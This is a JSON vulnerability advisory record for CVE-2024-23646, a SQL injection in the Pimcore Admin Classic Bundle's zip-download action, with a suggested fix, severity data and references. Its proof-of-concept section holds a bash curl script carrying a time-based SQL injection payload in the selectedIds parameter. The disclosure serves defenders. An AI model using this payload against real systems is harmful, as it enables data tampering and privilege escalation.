{"id":"CVE-2024-23646","aliases":["GHSA-cwx6-4wmf-c6xv"],"url":"https://o3.security/vulnerability/CVE-2024-23646","summary":"Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip","details":"### Summary\nThe application allows to create zip files from available files on the site. The parameter \"selectedIds\", is susceptible to SQL Injection.\n\n### Details\n[downloadAsZipJobsAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006) escape parameters, but [downloadAsZipAddFilesAction](https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087) not.\nThe following code should be added:\n```\n  foreach ($selectedIds as $selectedId) {\n      if ($selectedId) {\n          $quotedSelectedIds[] = $db->quote($selectedId);\n      }\n  }\n```\n\n### PoC\n\n- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)\n- Log In. Grab the `X-pimcore-csrf-token` header from any request to the backend, as well as the `PHPSESSID` cookie.\n- Run the following script, substituting the values accordingly: \n```\n#!/bin/bash\nBASE_URL=http://localhost # REPLACE THIS!\nCSRF_TOKEN=\"5133f9d5d28de7dbab39e33ac7036271284ee42e\" # REPLACE THIS!\nCOOKIE=\"PHPSESSID=4312797207ba3b342b29218fa42f3aa3\" # REPLACE THIS!\nSQL=\"(select*from(select(sleep(6)))a)\"\n\ncurl \"${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01\" \\\n    -X GET \\\n    -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n    -H \"Cookie: ${COOKIE}\" `\n```\n- The response is delayed by 6 seconds.\n\n### Impact\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n","published":"2024-01-24T19:41:49.578Z","modified":"2026-08-12T03:51:41.651492147Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"pimcore/admin-ui-classic-bundle","fixedVersion":"1.3.2"}],"fix":{"url":"https://github.com/pimcore/admin-ui-classic-bundle/commit/363afef29496cc40a8b863c2ca2338979fcf50a8","label":"pimcore/admin-ui-classic-bundle@363afef"},"references":[{"type":"WEB","url":"https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2006"},{"type":"WEB","url":"https://github.com/pimcore/admin-ui-classic-bundle/blob/1.x/src/Controller/Admin/Asset/AssetController.php#L2087"},{"type":"WEB","url":"https://github.com/pimcore/admin-ui-classic-bundle/releases/tag/v1.3.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23646.json"},{"type":"ADVISORY","url":"https://github.com/pimcore/admin-ui-classic-bundle/security/advisories/GHSA-cwx6-4wmf-c6xv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23646"},{"type":"FIX","url":"https://github.com/pimcore/admin-ui-classic-bundle/commit/363afef29496cc40a8b863c2ca2338979fcf50a8"},{"type":"PACKAGE","url":"https://github.com/pimcore/admin-ui-classic-bundle"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:41.651492147Z"}}